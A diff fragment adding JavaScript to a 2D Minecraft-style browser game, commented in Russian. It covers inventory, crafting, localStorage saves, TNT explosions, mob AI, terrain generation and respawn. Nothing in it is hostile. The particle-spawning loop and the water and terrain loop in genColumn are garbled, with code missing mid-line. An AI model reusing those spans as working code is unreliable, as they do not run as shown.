`url(${tex[id].toDataURL()})`; + s.style.backgroundSize = 'cover'; + } else if(ITEMS[id]) { + s.textContent = ITEMS[id].icon; + } else if(TOOLS[id]) { + s.textContent = TOOLS[id].icon; + } + const c = document.createElement('div'); + c.className='count'; + c.textContent = inv[id]; + s.appendChild(c); + s.onclick = () => { + playSound('click'); // Звук клика по инвентарю + selected=id; + // Обновляем список последних предметов + recentItems = recentItems.filter(item => item !== id); // Удаляем если уже есть + recentItems.unshift(id); // Добавляем в начало + recentItems = recentItems.slice(0, 5); // Оставляем только 5 + rebuildHotbar(); + }; + hotbarEl.appendChild(s); + } + } + + function renderInventory() { + inventoryGrid.innerHTML = ''; + + // Создаём сетку инвентаря 7x3 + const items = Object.keys(inv).filter(id => inv[id] > 0); + + // Добавляем пустые слоты для полной сетки + for(let i = 0; i < 21; i++) { + const slot = document.createElement('div'); + slot.className = 'inv-slot' + (i < items.length && items[i] === selected ? ' sel' : ''); + + if(i < items.length) { + const id = items[i]; + if(BLOCKS[id]) { + slot.style.backgroundImage = `url(${tex[id].toDataURL()})`; + slot.style.backgroundSize = 'cover'; + } else if(ITEMS[id]) { + slot.textContent = ITEMS[id].icon; + } else if(TOOLS[id]) { + slot.textContent = TOOLS[id].icon; + } + + const count = document.createElement('div'); + count.className = 'inv-count'; + count.textContent = inv[id]; + slot.appendChild(count); + + slot.onclick = () => { + playSound('click'); // Звук клика по инвентарю + selected = id; + // Обновляем список последних предметов + recentItems = recentItems.filter(item => item !== id); // Удаляем если уже есть + recentItems.unshift(id); // Добавляем в начало + recentItems = recentItems.slice(0, 5); // Оставляем только 5 + rebuildHotbar(); + renderInventory(); + }; + } + + inventoryGrid.appendChild(slot); + } + } + + function canCraft(r){ + for(const res in r.cost){ + if((inv[res]||0) < r.cost[res]) return false; + } + return true; + } + function renderCraft(){ + recipesEl.innerHTML=''; + for(const r of RECIPES){ + const row = document.createElement('div'); + row.className='recipe'; + const icon = document.createElement('div'); + icon.className='ricon'; + icon.style.backgroundImage = `url(${tex[r.out].toDataURL()})`; + const info = document.createElement('div'); + info.className='rinfo'; + const nm = document.createElement('div'); + nm.className='rname'; + nm.textContent = `${BLOCKS[r.out].n} x${r.qty}`; + const cs = document.createElement('div'); + cs.className='rcost'; + cs.textContent = Object.keys(r.cost).map(x => `${BLOCKS[x].n}: ${(inv[x]||0)}/${r.cost[x]}`).join(' '); + info.appendChild(nm); info.appendChild(cs); + const btn = document.createElement('button'); + btn.className='rcraft'; + btn.textContent='Создать'; + btn.disabled = !canCraft(r); + btn.onclick = () => { + if(!canCraft(r)) return; + playSound('click'); // Звук клика по кнопке крафта + for(const res in r.cost) inv[res]-=r.cost[res]; + inv[r.out] = (inv[r.out]||0) + r.qty; + rebuildHotbar(); + renderCraft(); + }; + row.appendChild(icon); row.appendChild(info); row.appendChild(btn); + recipesEl.appendChild(row); + } + } + + let craftOpen=false; + let inventoryOpen = false; + + document.getElementById('craftBtn').onclick = () => { + playSound('click'); // Звук клика по кнопке + craftOpen = !craftOpen; + craftPanel.style.display = craftOpen ? 'block' : 'none'; + if(craftOpen) { + renderCraft(); + // Закрываем инвентарь если открыт крафт + inventoryOpen = false; + inventoryPanel.style.display = 'none'; + } + }; + document.getElementById('craftClose').onclick = () => { + playSound('click'); // Звук клика по кнопке + craftOpen = false; + craftPanel.style.display = 'none'; + }; + + // Кнопка открытия инвентаря + document.getElementById('invToggle').onclick = () => { + playSound('click'); // Звук клика по кнопке + inventoryOpen = true; + inventoryPanel.style.display = 'block'; + renderInventory(); + // Закрываем крафт если открыт инвентарь + craftOpen = false; + craftPanel.style.display = 'none'; + }; + + document.getElementById('inventoryClose').onclick = () => { + playSound('click'); // Звук клика по кнопке + inventoryOpen = false; + inventoryPanel.style.display = 'none'; + }; + + // Кнопка сохранения игры (только для одиночного режима) + const saveBtn = document.getElementById('saveBtn'); + saveBtn.onclick = () => { + playSound('click'); + saveGame(); + alert('Игра сохранена!'); + }; + + // Кнопка сброса игры (удаление сохранения и создание нового мира) + const resetBtn = document.getElementById('resetBtn'); + resetBtn.onclick = () => { + if (confirm('Вы уверены, что хотите удалить сохранение и начать новую игру?')) { + playSound('click'); + + // Удаляем сохранение из localStorage + try { + localStorage.removeItem(SAVE_KEY); + console.log('Сохранение удалено из localStorage'); + } catch (e) { + console.warn('Ошибка удаления сохранения:', e); + } + + // Сбрасываем in-memory сохранение + inMemorySave = null; + + // Генерируем новый worldId + worldId = Math.random().toString(36).substring(2, 10); + console.log('Новый worldId после сброса:', worldId); + + // Обновляем URL + try { + const newUrl = new URL(window.location.href); + newUrl.searchParams.set('world', worldId); + const newUrlString = newUrl.toString(); + + if (typeof window.history !== 'undefined' && typeof window.history.replaceState === 'function') { + window.history.replaceState(null, '', newUrlString); + console.log('URL обновлён:', newUrlString); + } + } catch (e) { + console.error('Ошибка обновления URL:', e); + } + + // Перезагружаем страницу + location.reload(); + } + }; + + // Показываем кнопку сохранения только если играем одни + function updateSaveButtonVisibility() { + if (isMultiplayer && otherPlayers.size > 0) { + saveBtn.style.display = 'none'; + } else { + saveBtn.style.display = 'flex'; + } + } + + // Режимы + const MODES = [{id:'move',icon:'🏃'},{id:'mine',icon:'⛏️'},{id:'build',icon:'🧱'}]; + let modeIdx=0; + const modeBtn = document.getElementById('modeBtn'); + function mode(){ return MODES[modeIdx].id; } + modeBtn.onclick = () => { + playSound('click'); // Звук клика по кнопке режима + modeIdx=(modeIdx+1)%MODES.length; modeBtn.textContent=MODES[modeIdx].icon; + }; + + // День/ночь (автоматический цикл) + let isNightTime = false; + + // Управление + const inp = { l:false, r:false, j:false }; + function bindHold(el, key){ + const down=(e)=>{ e.preventDefault(); inp[key]=true; }; + const up=(e)=>{ e.preventDefault(); inp[key]=false; }; + el.addEventListener('pointerdown', down); + el.addEventListener('pointerup', up); + el.addEventListener('pointerleave', up); + } + bindHold(document.getElementById('left'),'l'); + bindHold(document.getElementById('right'),'r'); + bindHold(document.getElementById('jump'),'j'); + + window.addEventListener('keydown', (e)=>{ + if(e.code==='KeyA'||e.code==='ArrowLeft') inp.l=true; + if(e.code==='KeyD'||e.code==='ArrowRight') inp.r=true; + if(e.code==='Space'||e.code==='KeyW'||e.code==='ArrowUp') inp.j=true; + }); + window.addEventListener('keyup', (e)=>{ + if(e.code==='KeyA'||e.code==='ArrowLeft') inp.l=false; + if(e.code==='KeyD'||e.code==='ArrowRight') inp.r=false; + if(e.code==='Space'||e.code==='KeyW'||e.code==='ArrowUp') inp.j=false; + }); + + // Лодка + const boat = { + x: 0, y: 0, + w: 34, h: 34, + vx: 0, vy: 0, + active: false, + inWater: false + }; + + // Игрок + const player = { + x: 6*TILE, y: 0*TILE, + w: 34, h: 34, + vx: 0, vy: 0, + grounded: false, + inWater: false, + headInWater: false, + hp: 100, + hunger: 100, + o2: 100, + invuln: 0, + fallStartY: 0, + lastStepTime: 0, + sleeping: false, + inBoat: false + }; + + // Сохраняем начальную позицию для возрождения + const spawnPoint = { x: 6*TILE, y: 0*TILE }; + + // Система сохранения игры (localStorage + in-memory fallback) + const SAVE_KEY = 'minegrechka_save'; + let db = null; // Оставляем для совместимости, но не используем + let inMemorySave = null; // Запасное сохранение в памяти + + // Инициализация (localStorage + in-memory fallback) + function initDB(){ + return new Promise((resolve) => { + console.log('Используем localStorage для сохранений (sandbox режим)'); + resolve(null); + }); + } + + // Детерминированный генератор псевдослучайных чисел на основе seed + function seededRandom(gx, gy){ + const n = Math.sin(gx * 12.9898 + gy * 78.233 + worldSeed * 0.1) * 43758.5453; + return n - Math.floor(n); + } + + function saveGame(){ + const saveData = { + version: 2, + worldSeed: worldSeed, + player: { + x: player.x, + y: player.y, + hp: player.hp, + hunger: player.hunger, + o2: player.o2 + }, + inventory: inv, + time: worldTime, + isNight: isNightTime, + // Сохраняем только изменения + placedBlocks: placedBlocks.slice(), + removedBlocks: removedBlocks.slice() + }; + + const saveSize = JSON.stringify(saveData).length; + console.log('Сохранение: player HP:', player.hp, 'hunger:', player.hunger, 'o2:', player.o2); + + // Пробуем сохранить в localStorage (основной метод для персистентности) + try { + localStorage.setItem(SAVE_KEY, JSON.stringify(saveData)); + console.log(`Игра сохранена в localStorage (размер: ${saveSize} байт)`); + } catch(e){ + console.warn('Ошибка сохранения в localStorage, используем только in-memory:', e); + + // Если localStorage недоступен, используем in-memory fallback + inMemorySave = saveData; + console.log(`Игра сохранена в памяти (размер: ${saveSize} байт)`); + } + } + + function loadGame(){ + return new Promise((resolve, reject) => { + // Пробуем localStorage + try { + const localSave = localStorage.getItem(SAVE_KEY); + if(localSave){ + const parsed = JSON.parse(localSave); + console.log('Загружено из localStorage, player HP:', parsed.player?.hp); + resolve(parsed); + return; + } + } catch(e){ + console.warn('Ошибка доступа к localStorage:', e); + } + + // Если localStorage недоступен, используем in-memory сохранение + if(inMemorySave){ + console.log('Загружено из in-memory сохранения, player HP:', inMemorySave.player?.hp); + resolve(inMemorySave); + return; + } + + console.log('Сохранение не найдено'); + resolve(null); + }); + } + + // Миграция с версии 1 на версию 2 + function migrateV1toV2(saveData){ + console.log('Миграция сохранения с версии 1 на версию 2...'); + + // Сохраняем seed из текущей игры (так как v1 его не хранил) + saveData.worldSeed = worldSeed; + + // Инициализируем массивы изменений + saveData.placedBlocks = []; + saveData.removedBlocks = []; + + // Для v1 нам нужно сравнить сгенерированные блоки с тем, что должно быть по seed + // Это сложно сделать без полной перегенерации, поэтому для v1 сохраняем только seed + // и при загрузке просто перегенерируем мир + + // Удаляем старые данные + delete saveData.generatedBlocks; + + saveData.version = 2; + console.log('Миграция завершена'); + } + + async function applySave(saveData){ + if(!saveData) return; + + console.log('=== applySave START ==='); + console.log('player HP before applySave:', player.hp); + console.log('saveData.player.hp:', saveData.player?.hp); + + // Миграция версий + if(saveData.version === 1){ + migrateV1toV2(saveData); + } + + // Восстанавливаем seed + if(saveData.worldSeed !== undefined){ + worldSeed = saveData.worldSeed; + } + + // Восстанавливаем игрока + if(saveData.player){ + player.x = saveData.player.x; + player.y = saveData.player.y; + player.hunger = saveData.player.hunger; + player.o2 = saveData.player.o2; + + // Обновляем spawnPoint на позицию из сохранения + spawnPoint.x = player.x; + spawnPoint.y = player.y; + + // Проверяем HP из сохранения - если <= 0, устанавливаем 100 + const savedHP = saveData.player.hp; + console.log('Saved HP from file:', savedHP); + if(savedHP <= 0){ + console.log('WARNING: Saved HP is <= 0, setting to 100!'); + player.hp = 100; + } else { + player.hp = savedHP; + } + console.log('player HP after restore:', player.hp); + console.log('spawnPoint обновлён из сохранения: x=', spawnPoint.x, 'y=', spawnPoint.y); + } else { + console.log('No player data in save, setting default HP: 100'); + player.hp = 100; + } + + console.log('=== applySave END ==='); + + // Восстанавливаем инвентарь + if(saveData.inventory){ + for(const key in saveData.inventory){ + inv[key] = saveData.inventory[key]; + } + } + + // Восстанавливаем время + if(saveData.time !== undefined){ + worldTime = saveData.time; + } + + // Восстанавливаем день/ночь + if(saveData.isNight !== undefined){ + isNightTime = saveData.isNight; + } + + // Перегенерируем мир по seed + regenerateVisibleChunks(); + + // Применяем изменения (только для v2) + if(saveData.version === 2){ + // Применяем блоки, установленные игроком + for(const block of saveData.placedBlocks){ + setBlock(block.gx, block.gy, block.t, true); + } + + // Применяем удалённые блоки + for(const block of saveData.removedBlocks){ + removeBlock(block.gx, block.gy); + } + + // Восстанавливаем массивы изменений + placedBlocks = saveData.placedBlocks || []; + removedBlocks = saveData.removedBlocks || []; + } + + rebuildHotbar(); + console.log('Игра загружена'); + } + + // Камера (двухосевая) + let camX=0, camY=0; + + // День/ночь + let worldTime=0; + const DAY_LEN=360; // замедлил смену дня/ночи в 3 раза + + // Облака + const clouds = Array.from({length:10}, ()=>({ + x: Math.random()*2000, + y: -200 - Math.random()*260, // выше экрана, потому что мир по Y теперь двигается + w: 80+Math.random()*120, + s: 12+Math.random()*20 + })); + + // Частицы (взрыв) + const parts = []; + function spawnExplosion(x,y, power){ + const n = Math.floor(16 + power*10); + for(let i=0;i 100){ + playSound('splash'); + } + } + + function resolveY(e){ + // Всегда пересчитываем grounded (не держим "липким") + e.grounded = false; + + const x1 = e.x + 2; + const x2 = e.x + e.w - 2; + + // Проверяем, находится ли игрок на лестнице + const cx = e.x + e.w/2; + const cy = e.y + e.h/2; + const gx = Math.floor(cx / TILE); + const gy = Math.floor(cy / TILE); + const b = getBlock(gx, gy); + const onLadder = b && BLOCKS[b.t] && BLOCKS[b.t].climbable; + + // Если на лестнице - можно двигаться вверх/вниз + if(onLadder && e === player){ + e.grounded = true; + e.vy *= 0.8; // замедляем падение на лестнице + + // Если нажимаем прыжок на лестнице - поднимаемся + if(inp.j && e.vy > -200){ + e.vy = -200; + } + // Если не нажимаем прыжок - медленно спускаемся + else if(!inp.j && e.vy > 0){ + e.vy = Math.min(e.vy, 100); + } + return; + } + + // 1) Если движемся вниз ИЛИ стоим (vy >= 0) — проверяем опору под ногами + // Берём точку на 1px ниже стопы, чтобы не зависеть от ровного попадания в границу тайла. + if(e.vy >= 0){ + const probeY = e.y + e.h + 1; + const gy = Math.floor(probeY / TILE); + const gxA = Math.floor(x1 / TILE); + const gxB = Math.floor(x2 / TILE); + + if(isSolid(gxA, gy) || isSolid(gxB, gy)){ + e.y = gy * TILE - e.h; // прижимаем к полу + e.vy = 0; + e.grounded = true; + + // урон от падения — только игроку и только не в воде + if(e === player && !player.inWater){ + const fallTiles = (e.y - e.fallStartY) / TILE; + if(fallTiles > 6) player.hp -= (fallTiles - 6) * 10; + } + if(e === player) e.fallStartY = e.y; + } + } + + // 2) Проверка на возможность запрыгнуть на блок, если игрок рядом с ним + if(e.vy < 0 && e === player){ + const gy = Math.floor(e.y / TILE); + const gxA = Math.floor(x1 / TILE); + const gxB = Math.floor(x2 / TILE); + + // Проверяем, есть ли блок рядом с игроком + if((isSolid(gxA, gy) || isSolid(gxB, gy)) && !isSolid(gxA, gy - 1) && !isSolid(gxB, gy - 1)){ + e.y = (gy + 1) * TILE; + e.vy = 0; + e.grounded = true; + if(e === player) e.fallStartY = e.y; + console.log("Jumped onto block!"); + } + } + + // 2) Если движемся вверх — проверяем потолок + if(e.vy < 0){ + const gy = Math.floor(e.y / TILE); + const gxA = Math.floor(x1 / TILE); + const gxB = Math.floor(x2 / TILE); + if(isSolid(gxA, gy) || isSolid(gxB, gy)){ + e.y = (gy + 1) * TILE; + e.vy = 0; + } + } + } + + function resolveX(e){ + const y1 = e.y + 2; + const y2 = e.y + e.h - 2; + + if(e.vx > 0){ + const gx = Math.floor((e.x + e.w)/TILE); + const gyA = Math.floor(y1/TILE); + const gyB = Math.floor(y2/TILE); + if(isSolid(gx, gyA) || isSolid(gx, gyB)){ + e.x = gx*TILE - e.w; + e.vx = 0; + } + } else if(e.vx < 0){ + const gx = Math.floor(e.x/TILE); + const gyA = Math.floor(y1/TILE); + const gyB = Math.floor(y2/TILE); + if(isSolid(gx, gyA) || isSolid(gx, gyB)){ + e.x = (gx+1)*TILE; + e.vx = 0; + } + } + } + + // TNT логика: цепь + усиление + const activeTNT = new Set(); // хранит key + function activateTNT(b, fuse=3.2){ + if(b.dead) return; + if(b.active) return; + b.active=true; + b.fuse=fuse; + activeTNT.add(k(b.gx,b.gy)); + } + + function explodeAt(gx,gy){ + const center = getBlock(gx,gy); + if(!center) return; + + // усиление: считаем сколько TNT рядом (в радиусе 2) и активируем их «почти сразу» + let bonus = 0; + for(let x=gx-2; x<=gx+2; x++){ + for(let y=gy-2; y<=gy+2; y++){ + const b = getBlock(x,y); + if(b && !b.dead && b.t==='tnt' && !(x===gx && y===gy)){ + bonus += 0.8; + activateTNT(b, 0.12); // цепь + } + } + } + + const power = 1 + bonus; // условная мощность + const radius = 3.2 + bonus*0.7; // радиус разрушения в тайлах + const dmgR = 150 + bonus*60; // радиус урона в пикселях + + removeBlock(gx,gy); + activeTNT.delete(k(gx,gy)); + playSound('explode1'); // Звук взрыва + spawnExplosion(gx*TILE + TILE/2, gy*TILE + TILE/2, power); + + for(let x=Math.floor(gx-radius); x<=Math.ceil(gx+radius); x++){ + for(let y=Math.floor(gy-radius); y<=Math.ceil(gy+radius); y++){ + const d = Math.hypot(x-gx, y-gy); + if(d > radius) continue; + const b = getBlock(x,y); + if(!b || b.dead) continue; + if(BLOCKS[b.t].fluid) continue; + if(BLOCKS[b.t].unbreakable) continue; + if(b.t==='tnt') { activateTNT(b, 0.12); continue; } + removeBlock(x,y); + if(inv[b.t] !== undefined && Math.random()<0.20) inv[b.t]++; // немного дропа + } + } + rebuildHotbar(); + + // урон + const hurt = (e)=>{ + const dx = (e.x+e.w/2) - (gx*TILE+TILE/2); + const dy = (e.y+e.h/2) - (gy*TILE+TILE/2); + const dist = Math.hypot(dx,dy); + if(dist < dmgR){ + const dmg = (dmgR - dist) * 0.06 * power; + if(e === player) player.hp -= dmg; + else e.hp -= dmg; + e.vx += (dx/dist || 0) * 600; + e.vy -= 320; + } + }; + hurt(player); + mobs.forEach(hurt); + } + + // Взаимодействие мышь/тап + const mouse = { x:null, y:null }; + canvas.addEventListener('pointermove', (e)=>{ + const r = canvas.getBoundingClientRect(); + mouse.x = e.clientX - r.left; + mouse.y = e.clientY - r.top; + }); + + canvas.addEventListener('pointerdown', (e)=>{ + if(craftOpen) return; + if(player.hp<=0) return; + + const r = canvas.getBoundingClientRect(); + const sx = e.clientX - r.left; + const sy = e.clientY - r.top; + + const wx = sx + camX; + const wy = sy + camY; + + const gx = Math.floor(wx / TILE); + const gy = Math.floor(wy / TILE); + + // Пробуждение: клик по любой кровати когда спишь + const b = getBlock(gx,gy); + if(player.sleeping && b && b.t==='bed'){ + player.sleeping = false; + return; + } + + if(player.sleeping) return; // Нельзя взаимодействовать во время сна + + // клик по мобу (в режиме mine) + if(mode()==='mine'){ + for(let i=mobs.length-1;i>=0;i--){ + const m = mobs[i]; + if(wx>=m.x && wx<=m.x+m.w && wy>=m.y && wy<=m.y+m.h){ + m.hp -= 1; + m.vx += (m.x - player.x) * 2; + m.vy -= 200; + playSound('attack'); // Звук атаки игрока + if(m.hp<=0){ + // дроп еды + if(m.kind === 'chicken') playSound('hurt_chicken'); // Звук при убийстве курицы + inv.meat += (m.kind==='chicken' ? 1 : 2); + mobs.splice(i,1); + rebuildHotbar(); + } + return; + } + } + } + + // еда (предмет) + if(ITEMS[selected] && inv[selected]>0){ + const it = ITEMS[selected]; + if(player.hp < 100 || player.hunger < 100){ + playSound('eat1'); // Звук употребления еды + player.hunger = Math.min(100, player.hunger + it.food); + player.hp = Math.min(100, player.hp + 15); + inv[selected]--; + rebuildHotbar(); + } + return; + } + + // жарка на костре: выбран meat + клик по campfire + if(b && b.t==='campfire' && selected==='meat' && inv.meat>0){ + playSound('fire'); // Звук при жарке на костре + inv.meat--; inv.cooked++; + rebuildHotbar(); + return; + } + + // Сон на кровати: клик по bed + if(b && b.t==='bed' && isNight()){ + player.sleeping = true; + saveGame(); // Сохраняем при отходе ко сну + return; + } + + if(mode()==='mine'){ + if(!b) return; + if(BLOCKS[b.t].fluid || BLOCKS[b.t].decor) return; + + if(b.t==='tnt'){ activateTNT(b, 3.2); return; } // не взрывается сразу + + const removed = removeBlock(gx,gy); + if(removed){ + inv[removed.t] = (inv[removed.t]||0) + 1; + + // Отправляем изменение блока на сервер + sendBlockChange(gx, gy, removed.t, 'remove'); + + // Звуки при добыче блоков + if(removed.t === 'glass') playSound('glass1'); + else if(removed.t === 'sand') playSound('sand1'); + else if(removed.t === 'snow') playSound('snow1'); + else if(removed.t === 'stone' || removed.t.endsWith('_ore')) playSound('stone1'); + else if(removed.t === 'wood') playSound('wood1'); + else playSound('cloth1'); + + rebuildHotbar(); + } + return; + } + + if(mode()==='build'){ + if(inv[selected] <= 0) return; + if(!BLOCKS[selected]) return; + if(b) return; // занято + + // Проверяем, ставим ли лодку + if(selected === 'boat'){ + // Лодку можно ставить только на воду + const waterBelow = getBlock(gx, gy+1); + if(!waterBelow || waterBelow.t !== 'water'){ + return; + } + + // Создаём лодку + boat.x = gx * TILE; + boat.y = gy * TILE; + boat.vx = 0; + boat.vy = 0; + boat.active = true; + boat.inWater = true; + + // Сажаем игрока в лодку + player.inBoat = true; + player.x = boat.x; + player.y = boat.y; + player.vx = 0; + player.vy = 0; + + playSound('splash'); + inv[selected]--; + rebuildHotbar(); + return; + } + + // запрет ставить в игрока + const bx = gx*TILE, by = gy*TILE; + const overlap = !(bx >= player.x+player.w || bx+TILE <= player.x || by >= player.y+player.h || by+TILE <= player.y); + if(overlap) return; + + setBlock(gx,gy,selected, true); // true = блок установлен игроком + inv[selected]--; + + // Отправляем изменение блока на сервер + sendBlockChange(gx, gy, selected, 'set'); + + // Звук при строительстве + if(selected === 'stone' || selected === 'brick') playSound('stone_build'); + else if(selected === 'wood' || selected === 'planks') playSound('wood_build'); + else if(selected === 'glass') playSound('glass1'); + else if(selected === 'sand') playSound('sand1'); + else if(selected === 'snow') playSound('snow1'); + else if(selected === 'dirt' || selected === 'grass') playSound('cloth1'); + + rebuildHotbar(); + return; + } + }); + + // Генерация (по X, на всю глубину до bedrock) + const generated = new Set(); // gx already generated + function surfaceGyAt(gx){ + // базовая поверхность выше уровня воды с вариациями + "горы" + // Используем seed для детерминированной генерации + // Увеличили амплитуду и добавили больше частот для разнообразия + const n1 = Math.sin(gx*0.025 + worldSeed*0.001)*8; // крупные горы + const n2 = Math.sin(gx*0.012 + worldSeed*0.002)*12; // средние горы + const n3 = Math.sin(gx*0.006 + worldSeed*0.003)*6; // мелкие холмы + const n4 = Math.sin(gx*0.045 + worldSeed*0.004)*4; // детали + const n5 = Math.cos(gx*0.018 + worldSeed*0.005)*5; // дополнительные вариации + const h = Math.floor(SEA_GY - 8 + n1 + n2 + n3 + n4 + n5); // чем меньше gy - тем выше + return h; + } + + function genColumn(gx){ + if(generated.has(gx)) return; + generated.add(gx); + + const sgy = surfaceGyAt(gx); + + // вода (если поверхность ниже уровня моря => sgy > SEA_GY) + if(sgy > SEA_GY){ + for(let gy=SEA_GY; gy SEA_GY && gy === sgy+1 && seededRandom(gx, gy) < 0.25) t='clay'; + if(gy > sgy+6 && seededRandom(gx, gy) < 0.07) t='gravel'; + + // руды: чем глубже, тем интереснее + const depth = gy - sgy; + const r = seededRandom(gx, gy); + if(t==='stone'){ + if(r < 0.06) t='coal'; + else if(r < 0.10) t='copper_ore'; + else if(r < 0.13) t='iron_ore'; + else if(depth > 40 && r < 0.145) t='gold_ore'; + else if(depth > 70 && r < 0.152) t='diamond_ore'; + } + + setBlock(gx,gy,t); + } + + // Деревья и цветы (только на траве, и не в воде) + const top = getBlock(gx, sgy); + if(top && top.t==='grass'){ + if(seededRandom(gx, sgy-1) < 0.10){ + setBlock(gx, sgy-1,'flower'); + } + if(seededRandom(gx, sgy-2) < 0.12){ + // простое дерево + setBlock(gx, sgy-1, 'wood'); + setBlock(gx, sgy-2, 'wood'); + setBlock(gx, sgy-3, 'leaves'); + setBlock(gx-1, sgy-3,'leaves'); + setBlock(gx+1, sgy-3,'leaves'); + } + } + } + + // Перегенерация видимых чанков (используется при загрузке сохранения) + function regenerateVisibleChunks(){ + const gx0 = Math.floor(camX/TILE); + for(let gx=gx0-GEN_MARGIN_X; gx<=gx0+GEN_MARGIN_X; gx++){ + // Принудительно перегенерируем колонну + generated.delete(gx); + genColumn(gx); + } + } + + function ensureGenAroundCamera(){ + const gx0 = Math.floor(camX/TILE); + for(let gx=gx0-GEN_MARGIN_X; gx<=gx0+GEN_MARGIN_X; gx++){ + genColumn(gx); + } + } + + // Лут с дерева/листвы: дерево -> wood; листья -> leaves + // (уже в mine добавляется inv[type] автоматически) + + // Рисование костра: огонь поверх текстуры + function drawFire(wx,wy,now){ + const baseX = wx; + const baseY = wy; + const flick = 6 + (Math.sin(now/90)+1)*4; + ctx.fillStyle = 'rgba(255,140,0,0.85)'; + ctx.beginPath(); + ctx.moveTo(baseX+10, baseY+30); + ctx.lineTo(baseX+20, baseY+30-flick); + ctx.lineTo(baseX+30, baseY+30); + ctx.fill(); + + ctx.fillStyle = 'rgba(255,230,150,0.75)'; + ctx.beginPath(); + ctx.moveTo(baseX+14, baseY+30); + ctx.lineTo(baseX+20, baseY+30-(flick*0.7)); + ctx.lineTo(baseX+26, baseY+30); + ctx.fill(); + } + + // Моб AI + function mobAI(m, dt){ + updateWaterFlag(m); + + if(m.kind==='zombie'){ + // активность ночью + const night = isNight(); + if(!night){ m.hp=0; return; } + const dir = Math.sign((player.x) - m.x); + m.vx = dir * m.speed; + if(m.inWater && Math.random()<0.06) m.vy = -260; + // атака + if(Math.abs((m.x+ m.w/2) - (player.x+player.w/2)) < 28 && + Math.abs((m.y+ m.h/2) - (player.y+player.h/2)) < 40 && + player.invuln <= 0){ + player.hp -= 15; + player.invuln = 0.8; + player.vx += dir*420; + player.vy -= 260; + playSound('hit1'); // Звук при атаке зомби + } + } else if(m.kind==='creeper'){ + // активность ночью + const night = isNight(); + if(!night){ m.hp=0; return; } + const dir = Math.sign((player.x) - m.x); + const dist = Math.hypot((player.x+player.w/2) - (m.x+m.w/2), (player.y+player.h/2) - (m.y+m.h/2)); + + // Движение к игроку + m.vx = dir * m.speed; + if(m.inWater && Math.random()<0.06) m.vy = -260; + + // Взрыв если близко к игроку + if(dist < 60){ + m.fuse -= dt; + if(m.fuse <= 0){ + explodeAt(Math.floor((m.x+m.w/2)/TILE), Math.floor((m.y+m.h/2)/TILE)); + m.hp = 0; + } + } else { + // Поджигаем если очень близко + if(dist < 40){ + m.fuse = 0.5; // Быстрый взрыв + } + } + } else if(m.kind==='skeleton'){ + // активность ночью + const night = isNight(); + if(!night){ m.hp=0; return; } + const dir = Math.sign((player.x) - m.x); + const dist = Math.hypot((player.x+player.w/2) - (m.x+m.w/2), (player.y+player.h/2) - (m.y+m.h/2)); + + // Движение к игроку + m.vx = dir * m.speed; + if(m.inWater && Math.random()<0.06) m.vy = -260; + + // Стрельба стрелами с проверкой препятствий + m.shootCooldown -= dt; + if(dist < 200 && m.shootCooldown <= 0){ + m.shootCooldown = 1.5; + // Создаём стрелу (упрощённо - просто урон) + const dx = (player.x+player.w/2) - (m.x+m.w/2); + const dy = (player.y+player.h/2) - (m.y+m.h/2); + const angle = Math.atan2(dy, dx); + + // Проверяем препятствия (до 5 блоков) + let blocked = false; + const checkSteps = 5; + const stepSize = dist / checkSteps; + for(let i = 1; i <= checkSteps; i++){ + const checkX = m.x + m.w/2 + Math.cos(angle) * stepSize * i; + const checkY = m.y + m.h/2 + Math.sin(angle) * stepSize * i; + const checkGX = Math.floor(checkX / TILE); + const checkGY = Math.floor(checkY / TILE); + if(isSolid(checkGX, checkGY)){ + blocked = true; + break; + } + } + + // Урон игроку если попали и нет препятствий + if(!blocked && dist < 150 && player.invuln <= 0){ + player.hp -= 8; + player.invuln = 0.5; + player.vx += Math.cos(angle) * 300; + player.vy -= 200; + playSound('hit1'); + } + } + } else { + // животные + m.aiT -= dt; + if(m.aiT <= 0){ + m.aiT = 1.8 + Math.random()*2.5; + m.dir = Math.random()<0.5 ? -1 : 1; + if(Math.random()<0.25) m.dir = 0; + } + m.vx = m.dir * (m.kind==='chicken' ? 55 : 40); + if(m.inWater) m.vy = -120; + } + + // физика моба + const g = m.inWater ? GRAV_WATER : GRAV; + m.vy += g*dt; + + m.y += m.vy*dt; m.grounded=false; resolveY(m); + m.x += m.vx*dt; resolveX(m); + } + + function isNight(){ + // Автоматический цикл: ночь когда worldTime > 0.5 + return worldTime > 0.5; + } + + // Respawn + document.getElementById('respawnBtn').onclick = async () => { + playSound('click'); // Звук клика по кнопке + + console.log('=== RESPAWN CLICKED ==='); + console.log('isMultiplayer:', isMultiplayer); + console.log('otherPlayers.size:', otherPlayers.size); + console.log('player.hp before respawn:', player.hp); + + // В мультиплеере не загружаем сохранение, а возрождаемся в начальной точке + if (isMultiplayer && otherPlayers.size > 0) { + console.log('Мультиплеер режим - возрождение в начальной точке'); + player.hp = 100; + player.hunger = 100; + player.o2 = 100; + player.vx = player.vy = 0; + player.invuln = 0; + player.x = spawnPoint.x; + player.y = spawnPoint.y; + player.fallStartY = player.y; + console.log('Возрождение в начальной точке, HP:', player.hp); + } else { + console.log('Одиночный режим - загружаем последнее сохранение'); + // Одиночный режим - загружаем последнее сохранение + const loadedSave = await loadGame(); + if(loadedSave){ + await applySave(loadedSave); + console.log('Загружено последнее сохранение после смерти, final HP:', player.hp); + } else { + // Если сохранения нет, возрождаемся в начальной точке + player.hp = 100; + player.hunger = 100; + player.o2 = 100; + player.vx = player.vy = 0; + player.invuln = 0; + player.x = spawnPoint.x; + player.y = spawnPoint.y; + player.fallStartY = player.y; + console.log('Возрождение в начальной точке, HP:', player.hp); + } + } + + console.log('player.hp after respawn logic:', player.hp); + console.log('Hiding death screen...'); + deathEl.style.display='none'; + console.log('=== RESPAWN END ==='); + }; + + // Resize + function resize(){ + W = gameEl.clientWidth; + H = gameEl.clientHeight; + canvas.width = W*dpr; + canvas.height = H*dpr; + lightC.width = W*dpr; + lightC.height = H*dpr; + ctx.setTransform(dpr,0,0,dpr,0,0); + } + window.addEventListener('resize', resize); + + // init + resize(); + rebuildHotbar(); + + // Инициализируем и загружаем сохранение + initDB().then(async () => { + // Пытаемся загрузить сохранённую игру + const loadedSave = await loadGame(); + if(loadedSave){ + await applySave(loadedSave); + console.log('Загружено сохранение, HP:', player.hp); + + // Проверяем HP после загрузки - если <= 0, возрождаемся + if (player.hp <= 0) { + console.log('WARNING: HP <= 0 после загрузки, возрождаемся'); + player.hp = 100; + player.hunger = 100; + player.o2 = 100; + player.x = spawnPoint.x; + player.y = spawnPoint.y; + player.vx = player.vy = 0; + player.invuln = 0; + player.fallStartY = player.y; + } + } else { + 